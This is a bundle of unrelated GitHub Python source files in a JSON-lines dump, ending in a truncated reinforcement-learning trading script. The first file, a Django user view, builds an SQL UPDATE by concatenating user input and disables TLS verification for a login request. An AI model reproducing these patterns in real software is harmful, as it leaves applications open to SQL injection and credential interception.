    return a\n\n\n@csrf_exempt\ndef updateUsers(x_id, x_pw, x_name, x_email, x_auth):\n    try:\n        hashpassword = hashlib.sha256(x_pw.encode()).hexdigest()\n        Conn = psycopg2.connect('host={0} port={1} dbname={2} user={3} password={4}'.format(DBHost, DBPort, DBName, DBUser, DBPwd))\n        Cur = Conn.cursor()\n        query = \"\"\" \n        UPDATE\n            common_xfactor_xuser \n        SET\n            x_pw= '\"\"\" + hashpassword + \"\"\"',\n            x_name= '\"\"\" + x_name + \"\"\"',\n            x_email= '\"\"\" + x_email + \"\"\"',\n            x_auth= '\"\"\" + x_auth + \"\"\"'\n        WHERE\n            x_id = '\"\"\" + x_id + \"\"\"';\n        \"\"\"\n        # print(query)\n        Cur.execute(query)\n        Conn.commit()\n        Conn.close()\n        a = \"1\"\n        return a\n    except:\n        print(UserTNM + ' Table connection(Update) Failure')\n        a = \"0\"\n        return a\n\n@csrf_exempt\ndef taniumUsers(x_id, x_pw):\n    try:\n        path = SesstionKeyPath\n        urls = apiUrl + path\n        headers = '{\"username\" : \"' + x_id + '\",\"domain\":\"\",  \"password\":\"' + x_pw + '\"}'\n        response = requests.post(urls, data=headers, verify=False)\n        code = response.status_code\n        if code == 200:\n            a = response.json()\n            sessionKey = a['data']['session']\n            returnList = sessionKey\n            return returnList\n        elif code == 403:\n            print()\n\n    except ConnectionError as e:\n        print(e)\n\n@csrf_exempt\ndef delete(request):\n    x_ids_str = request.POST.get('x_id')  # 쉼표로 구분된 문자열을 얻음\n    x_ids = x_ids_str.split(',')\n    try:\n        Conn = psycopg2.connect('host={0} port={1} dbname={2} user={3} password={4}'.format(DBHost, DBPort, DBName, DBUser, DBPwd))\n        Cur = Conn.cursor()\n        for x_id in x_ids:\n            query = \"\"\" \n                    DELETE FROM\n                        common_xfactor_xuser\n                    WHERE\n                        x_id = %s;\n                    \"\"\"\n            Cur.execute(query, (x_id,))\n\n        Conn.commit()\n        Conn.close()\n\n        function = 'User Delete'  # 분류 정보를 원하시는 텍스트로 변경해주세요.\n        item = 'Delete user ' + x_id\n        result = '성공'\n        user = request.session.get('sessionid')\n        now = datetime.now().replace(microsecond=0)\n        date = now.strftime(\"%Y-%m-%d %H:%M:%S\")\n        print(date)\n        Xfactor_log = Xfactor_Log(\n            log_func=function,\n            log_item=item,\n            log_result=result,\n            log_user=user,\n            log_date=date\n        )\n        Xfactor_log.save()\n\n        return JsonResponse({'result': 'success'}, status=200)  # 성공적으로 삭제되었을 때 응답\n    except Exception as e:\n        print(str(e))  # 에러 메시지 출력 (디버깅 용)\n        return JsonResponse({'result': 'failure'}, status=400)  # 삭제 중 오류가 발생했을 때 응답\n","repo_name":"XionITS/X-Factor-SM-nc","sub_path":"common/views_user.py","file_name":"views_user.py","file_ext":"py","file_size_in_byte":15196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13392801473","text":"from hierarchybuilder.topic_clustering import main_clustering as main_clustering\nfrom hierarchybuilder.expansions import parse_medical_data\nimport torch\nimport os\nimport sys\nfrom transformers import AutoTokenizer, AutoModel\nimport statistics\n\ncos = torch.nn.CosineSimilarity(dim=0, eps=1e-08)\nnlp = parse_medical_data.nlp\ndevice = torch.device(\"cpu\")\n# device = torch.device(\"cuda:1\" if torch.cuda.is_available() else \"cpu\")\nsapBert_tokenizer = AutoTokenizer.from_pretrained('cambridgeltl/SapBERT-from-PubMedBERT-fulltext')\nsapBert_model = AutoModel.from_pretrained('cambridgeltl/SapBERT-from-PubMedBERT-fulltext')\nmodel = sapBert_model\nmodel = model.eval()\n\ndict_span_to_lemma_lst = {}\ntopics_dict = {}\ndict_span_to_counter = {}\ndict_word_to_lemma = {}\ndict_lemma_to_synonyms = {}\ndict_longest_span_to_counter = {}\ndict_noun_lemma_to_synonyms = {}\ndict_noun_lemma_to_noun_words = {}\ndict_noun_lemma_to_counter = {}\ndict_noun_word_to_counter = {}\ndict_full_np_to_sentences = {}\nentries_number_limit = 50\nhost_and_port = \"127.0.0.1:5000\"\n\n\ndef initialize_data(examples, host_val, port_val, ignore_words, entries_number,\n                    device_type, has_umls_server):\n    global topics_dict, dict_span_to_counter, dict_word_to_lemma, dict_lemma_to_synonyms, \\\n        dict_longest_span_to_counter, dict_noun_lemma_to_synonyms, dict_noun_lemma_to_noun_words, \\\n        dict_noun_lemma_to_counter, dict_noun_word_to_counter, entries_number_limit, device, model, \\\n        host_and_port, dict_full_np_to_sentences\n    host_and_port = \"http://\" + host_val + \":\" + str(port_val)\n    if device_type:\n        device = device_type\n        model = model.to(device)\n        model = model.eval()\n    entries_number_limit = entries_number\n    if ignore_words is None:\n        ignore_words = set()\n    collection_format_examples = parse_medical_data.get_examples_as_all_optional_answers_format(examples)\n    topics_dict, dict_span_to_counter, dict_word_to_lemma, dict_lemma_to_synonyms, \\\n    dict_longest_span_to_counter, dict_noun_lemma_to_synonyms, dict_noun_lemma_to_noun_words, dict_noun_lemma_to_counter, \\\n    dict_noun_word_to_counter, dict_full_np_to_sentences = \\\n        main_clustering.convert_examples_to_clustered_data(collection_format_examples, ignore_words, host_and_port,\n                                                           has_umls_server)\n    dict_span_to_counter.update(dict_noun_word_to_counter)\n    dict_span_to_counter.update(dict_noun_lemma_to_counter)\n\n\ndef dfs_for_cyclic(visited, helper, node):\n    visited.append(node)\n    helper.append(node)\n    children = node.children\n    for child in children:\n        if child not in visited:\n            ans = dfs_for_cyclic(visited, helper, child)\n            if ans == True:\n                print(child.span_lst)\n                return True\n        elif child in helper:\n            print(child.span_lst)\n            return True\n    helper.remove(node)\n    return False\n\n\ndef isCyclic(nodes_lst):\n    visited = []\n    helper = []\n    for i in nodes_lst:\n        if i not in visited:\n            ans = dfs_for_cyclic(visited, helper, i)\n            if ans == True:\n                print(i.span_lst)\n                return True\n    return False\n\n\ndef update_nodes_labels(nodes_lst, visited=set()):\n    labels_lst = set()\n    for node in nodes_lst:\n        if node in visited:\n            continue\n        visited.add(node)\n        desc_labels = update_nodes_labels(node.children, visited)\n        node.label_lst.update(desc_labels)\n        labels_lst.update(node.label_lst)\n    return labels_lst\n\n\ndef get_all_spans(np_object_lst, all_spans, visited=set()):\n    for np_object in np_object_lst:\n        if np_object in visited:\n            continue\n        visited.add(np_object)\n        all_spans.update(np_object.span_lst)\n        get_all_spans(np_object.children, all_spans, visited)\n\n\ndef dfs(visited, node):\n    if node not in visited:\n        visited.append(node)\n        for neighbour in node.children:\n            dfs(visited, neighbour)\n\n\ndef depth_dag(node, counter=0, visited=set()):\n    max_depth = counter\n    for child in node.children:\n        current_max_depth = depth_dag(child, counter + 1, visited)\n        if current_max_depth > max_depth:\n            max_depth = current_max_depth\n    return max_depth\n\n\ndef get_leaves(node, leaves, visited=set()):\n    if node in visited:\n        return\n    visited.add(node)\n    if not node.children:\n        leaves.add(node)\n        return\n    for child in node.children:\n        get_leaves(child, leaves, visited)\n\n\ndef get_all_nodes(nodes_lst, visited):\n    for node in nodes_lst:\n        if node in visited:\n            continue\n        visited.add(node)\n        get_all_nodes(node.children, visited)\n\n\ndef calculation_for_paper(topic_object_lst, top_k_topics):\n    visited = set()\n    get_all_nodes(topic_object_lst, visited)\n    all_dag_nodes = list(visited)\n    print(\"number of nodes is \" + str(len(all_dag_nodes)))\n    max_depth = 0\n    for topic in topic_object_lst:\n        depth = depth_dag(topic)\n        if depth > max_depth:\n            max_depth = depth\n    print(\"the depth of the entire DAG is \" + str(max_depth))\n    min_leaves = 10000\n    max_leaves = 0\n    total_leaves = 0\n    max_depth = 0\n    min_depth = 1000\n    total_depth = 0\n    all_leaves = set()\n    for entry in top_k_topics:\n        leaves = set()\n        get_leaves(entry, leaves)\n        all_leaves.update(leaves)\n        leaves_number = len(leaves)\n        total_leaves += leaves_number\n        if leaves_number < min_leaves:\n            min_leaves = leaves_number\n        if leaves_number > max_leaves:\n            max_leaves = leaves_number\n        depth = depth_dag(entry)\n        total_depth += depth\n        if depth > max_depth:\n            max_depth = depth\n        if depth < min_depth:\n            min_depth = depth\n    # top k leaves\n    print(\"average number of leaves is \")\n    print(total_leaves / len(top_k_topics))\n    print(\"minimal leaves for top k entry is \" + str(min_leaves))\n    print(\"maximal leaves for top k entry is \" + str(max_leaves))\n    # top k depth\n    print(\"average number of depth is \")\n    print(total_depth / len(top_k_topics))\n    print(\"minimal depth for top k entry is \" + str(min_depth))\n    print(\"maximal depth for top k entry is \" + str(max_depth))\n    all_dag_nodes_in_top_k = set()\n    get_all_nodes(top_k_topics, all_dag_nodes_in_top_k)\n    number_of_children_array = []\n    for node in all_dag_nodes_in_top_k:\n        if node in top_k_topics:\n            continue\n        if node in all_leaves:\n            continue\n        number_of_children_array.append(len(node.children))\n    # internal nodes\n    print(\"minimal val of internal nodes is \" + str(min(number_of_children_array)))\n    print(\"maximal val of internal nodes is \" + str(max(number_of_children_array)))\n    print(\"average number of internal nodes \")\n    print(len(number_of_children_array) / len(top_k_topics))\n    ans = statistics.variance(number_of_children_array)\n    print(\"The variance of list is : \")\n    print(ans)\n","repo_name":"itayair/hierarchybuilder","sub_path":"hierarchybuilder/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7037,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"34752256802","text":"import torch\nimport numpy as np\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nimport copy\nfrom stale import compute_stale_grad_alpha\n\nclass Architect(object):\n  def __init__(self, model, args):\n    self.network_momentum = args.momentum\n    self.network_weight_decay = args.weight_decay\n    self.model = model\n    self.optimizer = torch.optim.Adam(self.model.arch_parameters(),\n        lr=args.arch_learning_rate, betas=(0.5, 0.999), weight_decay=args.arch_weight_decay)\n    self.baseline = None\n    self.baseline_decay = args.arch_baseline_decay\n\n\n  def step(self, epoch_acc, epoch_index_normal, epoch_index_reduce):\n    self._compute_grad(self.model.alphas_normal, epoch_acc, epoch_index_normal)\n    self._compute_grad(self.model.alphas_reduce, epoch_acc, epoch_index_reduce)\n    self.optimizer.step()\n    self.optimizer.zero_grad()\n\n  def _compute_grad(self, alphas, accuracy_list, index_list):\n    grad = torch.zeros(alphas.size())\n    prob = F.softmax(alphas, dim=-1)\n    rewards = self._compute_reward(accuracy_list)\n    for client_idx in range(len(rewards)):\n      reward = rewards[client_idx]\n      index = index_list[client_idx]\n      client_grad = torch.Tensor(prob.shape)\n      client_grad.copy_(prob)\n      # nabla _alpha { log(p(g_i)) } = (p_1, ..., p_i-1, ..., p_N)\n      for edge_idx in range(client_grad.shape[0]):\n        index_prob = client_grad[edge_idx][index[edge_idx]]\n        client_grad[edge_idx][index[edge_idx]] = index_prob -1\n      grad += reward * client_grad\n    grad /= len(rewards)\n    alphas.grad = grad\n\n  def _compute_reward(self,accuracy_list):\n    # scale accuracy to 0-1\n    avg_acc = torch.mean(torch.Tensor(accuracy_list)) / 100\n    if self.baseline is None:\n      self.baseline = avg_acc\n    else:\n      self.baseline += self.baseline_decay * (avg_acc - self.baseline)\n    # reward = accuracy - baseline\n    return [accuracy_list[i]/100 - self.baseline for i in range(len(accuracy_list))]\n\n  def stale_step(self, epoch_acc, epoch_index_normal, epoch_index_reduce, stale_alphas_normal, stale_alphas_reduce, stale_acc, stale_index_normal, stale_index_reduce):\n    self._compute_stale_grad(self.model.alphas_normal, epoch_acc, epoch_index_normal, stale_alphas_normal, stale_acc, stale_index_normal)\n    self._compute_stale_grad(self.model.alphas_reduce, epoch_acc, epoch_index_reduce, stale_alphas_reduce , stale_acc, stale_index_reduce)\n    self.optimizer.step()\n    self.optimizer.zero_grad()\n\n  def _compute_stale_grad(self, alphas, accuracy_list, index_list, old_alphas, old_accuracy, old_index):\n    grad = torch.zeros(alphas.size())\n    prob = F.softmax(alphas, dim=-1)\n    rewards = self._compute_reward(accuracy_list)\n    for client_idx in range(len(rewards)):\n      reward = rewards[client_idx]\n      index = index_list[client_idx]\n      client_grad = torch.Tensor(prob.shape)\n      client_grad.copy_(prob)\n      # nabla _alpha { log(p(g_i)) } = (p_1, ..., p_i-1, ..., p_N)\n      for edge_idx in range(client_grad.shape[0]):\n        index_prob = client_grad[edge_idx][index[edge_idx]]\n        client_grad[edge_idx][index[edge_idx]] = index_prob -1\n      grad += reward * client_grad\n\n    # stale update\n    old_reward = self._compute_reward(old_accuracy)\n    for stale_idx in range(len(old_alphas)):\n      stale_grad = compute_stale_grad_alpha(old_index[stale_idx], old_alphas[stale_idx], alphas)\n      grad += old_reward[stale_idx] * stale_grad\n    grad /= (len(rewards)+len(old_alphas))\n    alphas.grad = grad\n\n\n\n\n\nif __name__ == '__main__':\n  from model_search import Network\n  class TMP:\n    def __init__(self):\n      self.momentum = 0.9\n      self.weight_decay = 3E-4\n      self.arch_learning_rate = 1E-3\n      self.arch_weight_decay = 3e-4\n  args = TMP()\n  criterion = nn.CrossEntropyLoss()\n  model = Network(16, 10, 8, criterion)\n  architect = Architect(model,args)\n  pass","repo_name":"dixiyao/CS385","sub_path":"project2/rl_federated_nas/architect.py","file_name":"architect.py","file_ext":"py","file_size_in_byte":3869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"75561732352","text":"from itertools import combinations\nimport matplotlib.gridspec as grsp\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport random\nfrom SALib.sample import saltelli\nfrom SALib.analyze import sobol\nfrom scipy.special import binom\nimport seaborn as sns\nimport sys\nimport timeit\nimport pickle\nfrom scipy.stats import multivariate_normal\n\nstart_time = timeit.default_timer()\n\ndef f_emul(gp,poly,X_new,n_samples,seed,svm,ranges,N): \n\tX_whole = np.zeros((X_new.shape[0],X_new.shape[1]))\n\tfor i in range(X_new.shape[1]):\n\t\tX_whole[:,i] = X_new[:,i]/ranges[i,1]\n\n\tif svm != 0:\n\t\tlabel = svm.predict(X_whole)\n\n\t\tconta1 = 0\n\t\tcontameno1 = 0\n\t\tfor i in range(label.shape[0]):\n\t\t\tif label[i] == 1:\n\t\t\t\tconta1 = conta1 + 1\n\t\t\telse:\n\t\t\t\tcontameno1 = contameno1 + 1\n\n\t\tprint('With {} input points (N), X Sobol has dimensions: {}'.format(N,X_new.shape))\t\t\n\t\tprint('SVM makes {} predictions, which should be equal to {}, the number of X Sobol rows'.format(label.shape[0],X_whole.shape[0]))\n\t\tprint('SVM predicts {} points to be discarded over {} points, which is {} per cent'.format(contameno1,label.shape[0],np.round(contameno1/label.shape[0]*100,1) ) )\n\t\t# print('conta1 {}'.format(conta1))\n\t\t# print('contameno1 {}'.format(contameno1))\n\n\t\tlista = np.where(label==-1)[0]\n\n\tres, cov = gp.predict(X_new, return_cov=True)\n\tif svm != 0:\n\t\tres[lista,:] = np.zeros((len(lista),1)) \n\n\tmean = poly.predict(X_new)\n\tif svm != 0:\n\t\tmean[lista,:] = np.zeros((len(lista),1))\n\n\ty_sample = multivariate_normal.rvs( np.ndarray.flatten(res+mean) , cov, size=n_samples, random_state=seed).T\n\n\t# if etic == 'SIsvm':\n\t# \tfor jj in lista:\n\t# \t\ty_sample[jj,:] = np.zeros((1,n_samples))\n\n\treturn y_sample\n\n\nSEED = 8\n\ndef main():\n\tseed = SEED\n\trandom.seed(seed)\n\tnp.random.seed(seed)\n\n\t# Usage:\n\t# python3 run_gsa_mio.py ranges, num_par, GP, poly, folder to save indexes, num points Sobol sequence, SVM.\n\t# THe script can be called with 5 or 6 parameters, depending whether or not there's the SVM!\n\n\tranges = np.load(sys.argv[1])\n\t\n\tif int(sys.argv[2]) == 10:    # EPI_ENDO - ENDO_EPI\n\t\tlabels = ['Scar radius','Scar depth','Scar conductivity','Internal bath','EHT thickness','EHT conductivity','CP thickness','CP conductivity','EHT-tissue contact area','Delta thickness'] # 10\n\tif int(sys.argv[2]) == 9:     # TRANSMURAL\n\t\tlabels = ['Scar radius','Scar conductivity','Internal bath','EHT thickness','EHT conductivity','CP thickness','CP conductivity','EHT-tissue contact area','Delta thickness'] # 9\n\tif int(sys.argv[2]) == 8:     # BLOCKED\n\t\tlabels = ['Scar radius','Internal bath','EHT thickness','EHT conductivity','CP thickness','CP conductivity','EHT-tissue contact area','Delta thickness'] # 8\n\tif int(sys.argv[2]) == 7:     # FIXED\n\t\tlabels = ['Internal bath','EHT thickness','EHT conductivity','CP thickness','CP conductivity','EHT-tissue contact area','Delta thickness'] # 7\n\t\n\tGP_path = sys.argv[3]\n\tpoly_path = sys.argv[4]\n\n\ttag = sys.argv[5]\n\n\tsobol_seq_points = int(sys.argv[6])\n\n\tif len(sys.argv) == 8:\n\t\tsvm_path = sys.argv[7]\n\t\twith open(svm_path, 'rb') as f:\n\t\t\tsvm = pickle.load(f)\n\telse:\n\t\tsvm = 0\n\n\t#========================\n\t# GPE loading\n\t#========================\n\n\twith open(GP_path, 'rb') as f:\n\t\tgp = pickle.load(f)\n\n\twith open(poly_path, 'rb') as f:\n\t\tpoly = pickle.load(f)\n\t\n\t#========================\n\t# SA LIB\n\t#========================\n\tN = sobol_seq_points # deafult 1000, try 2000, 3000 and 5000                             \n\tD = len(labels)\n\tn_draws = 1000\n\n\tI = ranges\n\tindex_i = labels\n\tindex_ij = ['({}, {})'.format(c[0], c[1]) for c in combinations(index_i, 2)]\n\n\tproblem = {\n\t\t'num_vars': D,\n\t\t'names': index_i,\n\t\t'bounds': I\n\t}\n\n\tX_sobol = saltelli.sample(problem, N, calc_second_order=True) # N x (2D + 2)\n\n\n\tY = f_emul(gp, poly, X_sobol, n_draws, seed, svm, I, N)\n\n\n\tST = np.zeros((0, D), dtype=float)\n\tS1 = np.zeros((0, D), dtype=float)\n\tS2 = np.zeros((0, int(binom(D, 2))), dtype=float)\n\tfor i in range(n_draws):\n\t\tS = sobol.analyze(problem, Y[:,i], calc_second_order=True, parallel=True, n_processors=24, seed=seed)\n\t\ttotal_order, first_order, (_, second_order) = sobol.Si_to_pandas_dict(S)\n\t\tST = np.vstack((ST, total_order['ST'].reshape(1, -1)))\n\t\tS1 = np.vstack((S1, first_order['S1'].reshape(1, -1)))\n\t\tS2 = np.vstack((S2, np.array(second_order['S2']).reshape(1, -1)))\n\n\tprint('GSA - Elapsed time: {:.1f} min'.format( (timeit.default_timer() - start_time)/60 ))\n\n\tnp.savetxt(str(tag) + '/STi.txt', ST, fmt='%.6f')\n\tnp.savetxt(str(tag) + '/Si.txt', S1, fmt='%.6f')\n\tnp.savetxt(str(tag) + '/Sij.txt', S2, fmt='%.6f')\n\n\tdf_ST = pd.DataFrame(data=ST, columns=index_i)\n\tdf_S1 = pd.DataFrame(data=S1, columns=index_i)\n\tdf_S2 = pd.DataFrame(data=S2, columns=index_ij)\n\n\t# gs = grsp.GridSpec(2, 2)\n\t# fig = plt.figure(figsize=(2*8.27, 4*11.69/3))\n\t# ax0 = fig.add_subplot(gs[0, 0])\n\t# ax1 = fig.add_subplot(gs[0, 1])\n\t# ax2 = fig.add_subplot(gs[1, :])\n\t# sns.boxplot(ax=ax0, data=df_S1)\n\t# sns.boxplot(ax=ax1, data=df_ST)\n\t# sns.boxplot(ax=ax2, data=df_S2)\n\t# ax0.set_ylim(0, 1)\n\t# ax0.set_title('First-order effect', fontweight='bold', fontsize=12)\n\t# ax0.set_xticklabels(ax0.get_xticklabels(), rotation=45, horizontalalignment='right')\n\t# ax1.set_ylim(0, 1)\n\t# ax1.set_title('Total effect', fontweight='bold', fontsize=12)\n\t# ax1.set_xticklabels(ax1.get_xticklabels(), rotation=45, horizontalalignment='right')\n\t# ax2.set_ylim(0, 1)\n\t# ax2.set_title('Second-order effect', fontweight='bold', fontsize=12)\n\t# ax2.set_xticklabels(ax2.get_xticklabels(), rotation=45, horizontalalignment='right')\n\t# plt.savefig('si_distr_salib_{}_{}_2.png'.format(N, etichette[lol]))\n\nif __name__ == '__main__':\n\tmain()\n\n","repo_name":"DamiFass/GP-GSA","sub_path":"run_GSA.py","file_name":"run_GSA.py","file_ext":"py","file_size_in_byte":5630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10553783390","text":"from __future__ import absolute_import, division, print_function\n\nimport codecs\nimport re\n\nimport numpy as np\n\nfrom six.moves import range\n\n\nclass Alphabet(object):\n    def __init__(self, config_file):\n        self._config_file = config_file\n        self._label_to_str = []\n        self._str_to_label = {}\n        self._size = 0\n        with codecs.open(config_file, 'r', 'utf-8') as fin:\n            for line in fin:\n                if line[0:2] == '\\\\#':\n                    line = '#\\n'\n                elif line[0] == '#':\n                    continue\n                self._label_to_str += line[:-1]  # remove the line ending\n                self._str_to_label[line[:-1]] = self._size\n                self._size += 1\n\n    def string_from_label(self, label):\n        return self._label_to_str[label]\n\n    def label_from_string(self, string):\n        try:\n            return self._str_to_label[string]\n        except KeyError as e:\n            raise KeyError(\n                '''ERROR: Your transcripts contain characters which do not occur in data/alphabet.txt! Use util/check_characters.py to see what characters are in your {train,dev,test}.csv transcripts, and then add all these to data/alphabet.txt.'''\n            ).with_traceback(e.__traceback__)\n\n    def decode(self, labels):\n        res = []\n        for label in labels:\n            res.append(label)\n        return res\n\n    # def decode(self, labels):\n    #     return labels\n\n    def size(self):\n        return self._size\n\n    def config_file(self):\n        return self._config_file\n\n\ndef text_to_char_array(original, alphabet):\n    r\"\"\"\n    Given a Python string ``original``, remove unsupported characters, map characters\n    to integers and return a numpy array representing the processed string.\n    \"\"\"\n    return np.asarray([alphabet.label_from_string(c) for c in original])\n\n\n# The following code is from: http://hetland.org/coding/python/levenshtein.py\n\n# This is a straightforward implementation of a well-known algorithm, and thus\n# probably shouldn't be covered by copyright to begin with. But in case it is,\n# the author (Magnus Lie Hetland) has, to the extent possible under law,\n# dedicated all copyright and related and neighboring rights to this software\n# to the public domain worldwide, by distributing it under the CC0 license,\n# version 1.0. This software is distributed without any warranty. For more\n# information, see <http://creativecommons.org/publicdomain/zero/1.0>\n\ndef levenshtein(a, b):\n    \"Calculates the Levenshtein distance between a and b.\"\n    n, m = len(a), len(b)\n    if n > m:\n        # Make sure n <= m, to use O(min(n,m)) space\n        a, b = b, a\n        n, m = m, n\n\n    current = list(range(n+1))\n    for i in range(1, m+1):\n        previous, current = current, [i]+[0]*n\n        for j in range(1, n+1):\n            add, delete = previous[j]+1, current[j-1]+1\n            change = previous[j-1]\n            if a[j-1] != b[i-1]:\n                change = change + 1\n            current[j] = min(add, delete, change)\n\n    return current[n]\n\n# Validate and normalize transcriptions. Returns a cleaned version of the label\n# or None if it's invalid.\n\n\ndef validate_label(label):\n    # For now we can only handle [a-z ']\n    if re.search(r\"[0-9]|[(<\\[\\]&*{]\", label) is not None:\n        return None\n\n    label = label.replace(\"-\", \"\")\n    label = label.replace(\"_\", \"\")\n    label = label.replace(\".\", \"\")\n    label = label.replace(\",\", \"\")\n    label = label.replace(\"?\", \"\")\n    label = label.replace(\"\\\"\", \"\")\n    label = label.strip()\n    label = label.lower()\n\n    return label if label else None\n","repo_name":"Chung-I/tsm-rnnt","sub_path":"stt/data/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":3603,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"44682235711","text":"from charms.reactive import (\n  is_state, set_state,\n  when, when_not,\n  hookenv, hook,\n)\nfrom charmhelpers.core.hookenv import config\nfrom subprocess import check_call\nfrom charmhelpers.fetch import apt_install, apt_update\nfrom rubylib import bundle\nimport os\nimport stat\nimport pwd\n\ntry:\n    from Crypto.PublicKey import RSA\nexcept ImportError:\n    apt_update()\n    apt_install('python3-crypto')\n    from Crypto.PublicKey import RSA\n\n@when('ruby.available')\ndef setup_tests():\n    apt_install(['git'])\n    if not os.path.exists(config('app-path')):\n        clone()\n    bundle('install')\n    gen_sshkey()\n\ndef clone():\n    cmd =  \"git clone {} {}\".format('https://github.com/hardening-io/tests-ssh-hardening.git', config('app-path'))\n    res = check_call(cmd, shell=True)\n    if res != 0:\n      status_set('error', 'has a problem with git, try `resolved --retry')\n      sys.exit(1)\n\ndef gen_sshkey():\n    key = RSA.generate(2048)\n    priv_key_file = '/home/ubuntu/.ssh/id_rsa'\n    pub_key_file = '/home/ubuntu/.ssh/id_rsa.pub'\n    uid = pwd.getpwnam(\"ubuntu\").pw_uid\n    if os.path.exists(priv_key_file):\n        return\n    with open(priv_key_file, 'w') as content_file:\n        os.chmod(priv_key_file, stat.S_IREAD)\n        os.chown(priv_key_file, uid, -1)\n        content_file.write(key.exportKey('PEM').decode('utf-8'))\n    pubkey = key.publickey()\n    with open(pub_key_file, 'w') as content_file:\n        os.chown(pub_key_file, uid, -1)\n        content_file.write(pubkey.exportKey('OpenSSH').decode('utf-8'))\n","repo_name":"CanonicalLtd/hardening-ssh-tests","sub_path":"reactive/hardening-ssh-tests.py","file_name":"hardening-ssh-tests.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"37479308793","text":"import pandas as pd\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport argparse\nfrom random import randint\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import StandardScaler\nfrom pandas.plotting import register_matplotlib_converters\nregister_matplotlib_converters()\n\nimport techindic.indicator as ti\nimport utils.stats as stats\nimport econometric.utils as model\nimport rl.objective_function as of\nimport rl.policy as policy\n#import net.variational_autoencoder as vae\n\nfilename=\"./model_backups\"\n#stockfile=\"./btc_year_summary.csv\"\nstockfile=\"./bitcoin.csv\"\n\n# Parse arguments from command line\nparser = argparse.ArgumentParser(description='Reinforcement Learning Model.')\nparser.add_argument('-e', '--epochs', dest='epochs', type=int, default=500, help='The number of epochs to train the model')\nparser.add_argument('-t', '--timesteps', dest='past_timesteps', type=int, default=5, help='Numbers of past data to take into account')\nparser.add_argument('-l', '--learning_rate', dest='learning_rate', type=float, choices=[0.1, 0.01, 0.001], default=0.01, help='Learning rate')\nparser.add_argument('--objective_function', dest='objective_function', choices=['Sharpe', 'Dsharpe'], default='Dsharpe', help='Objective function to maximize')\nparser.add_argument('--weights_init', dest='weights_init', choices=['Ones', 'Xavier'], default='Ones', help='How to initialize features weights')\nparser.add_argument('-v', '--verbose', action='store_true', help='Display more log messages')\nparser.add_argument('--version', action='version', version='1.0')\n#parser.add_argument('Windows Length', dest='accumulate', action='store_const', const=sum, default=max, help='sum the integers (default: find the max)')\n\nargs = parser.parse_args()\n\n# Hyperparameter setting\nepochs = args.epochs\npast_timesteps = args.past_timesteps\nlearning_rate = args.learning_rate\nverbose = args.verbose\nobjective_function = args.objective_function\n\nprint(\"Chosen hyperparameters: epochs:{}, windows:{}, learning rate:{}, objective function:{}, weights init scheme:{}, verbose:{}\".format(epochs, past_timesteps, learning_rate, objective_function, args.weights_init, verbose))\n\n# Import data, replace unwanted coma for float numbers, and convert to numeric number\ndata = pd.read_csv(stockfile)\n\n# No need for the new dataset\ndata.iloc[:, 1:].replace(',','', regex=True, inplace=True)\ndata_ordered = data.iloc[::-1].reset_index(drop=True)\ndata_processed = pd.concat([data_ordered.iloc[:,0], data_ordered.iloc[:, 1:].apply(pd.to_numeric, errors='coerce')], axis=1)\n\n# So we need this in ordrer to keep the next lines unchanged\n#data_processed = data\n\nprint(data.head())\n\n# Add Technical Indicators as features\nrsi = ti.RSIInidcator(data_processed['Fermeture']).rsi()\nmacd = ti.MACDIndicator(data_processed['Fermeture']).macd()\nbb = ti.BollingerBands(data_processed['Fermeture']).bollinger()\nma = ti.MovingAverage(data_processed['Fermeture']).movingAverage()\nwr = ti.WilliamsRIndicator(data_processed['Haut'], data_processed['Bas'], data_processed['Fermeture']).wr()\n\ndata_with_TI = pd.concat([data_processed, rsi, macd, bb, ma, wr], axis=1)\n\n# Available Features\n# [['Ouverture', 'Haut', 'Bas', 'ma7', 'ma21', '26ema', '12ema', 'MACD', 'upper_band', 'lower_band', 'ema', 'wr']]\n\n#selected_feature = data_with_TI[['Fermeture', 'Ouverture', 'VWP', 'MACD', 'ema', 'wr']]\nselected_feature = data_with_TI[['Fermeture', 'Ouverture','MACD', 'ema', 'wr']]\n\n# Numbers of selected features * (past_timesteps + 1 (because index start at 0)) + 1=Last_position\nnb_features = (past_timesteps + 1) * selected_feature.shape[1] + 1\n\n\n# Parameters initialization using Xavier initialization for tanh activation function\n# Or just using basic all ones initialization\nif args.weights_init == \"Xavier\":\n    # normal distribution with mean=0 and variance= sqrt(2/(fan-in+fan-out))\n    xavier_weights=np.random.normal(0, np.sqrt(2/(nb_features+1)), nb_features)\n    theta=xavier_weights.flatten()\nelif args.weights_init == \"Ones\":\n    theta = np.ones(nb_features)\n\n# Initialize sharpe ratios\nsharpes = np.zeros(epochs)\n\n# Split train/test sets, without shuffle as it is a time serie.\nselected_feature_train, selected_feature_test = train_test_split(selected_feature, test_size=0.2, shuffle=False)\n# With Scaling\nscaler = StandardScaler() # Or scaler = MinMaxScaler()\nselected_feature_scaled = scaler.fit_transform(selected_feature)\nselected_feature_scaled = pd.DataFrame(selected_feature_scaled, columns=selected_feature.columns)\nselected_feature_train_scaled, selected_feature_test_scaled = train_test_split(selected_feature_scaled, test_size=0.2, shuffle=False)\n\n#vae_data = vae.VariationalAutoencoder(selected_feature_train_scaled, selected_feature_test_scaled).generate()\n\n# Train the model\nfor i in range(epochs):\n    grad, sharpe, positions, returns = policy.DirectReinforcementLearning(selected_feature_train_scaled, past_timesteps, nb_features, theta).gradientAscent(objective_function)\n    theta = theta + grad * learning_rate\n    if verbose:\n       print(\"epochs:{} -> Gradients are:{} - Params:{}\".format(i, grad, theta))\n       print(\"Sharpe: 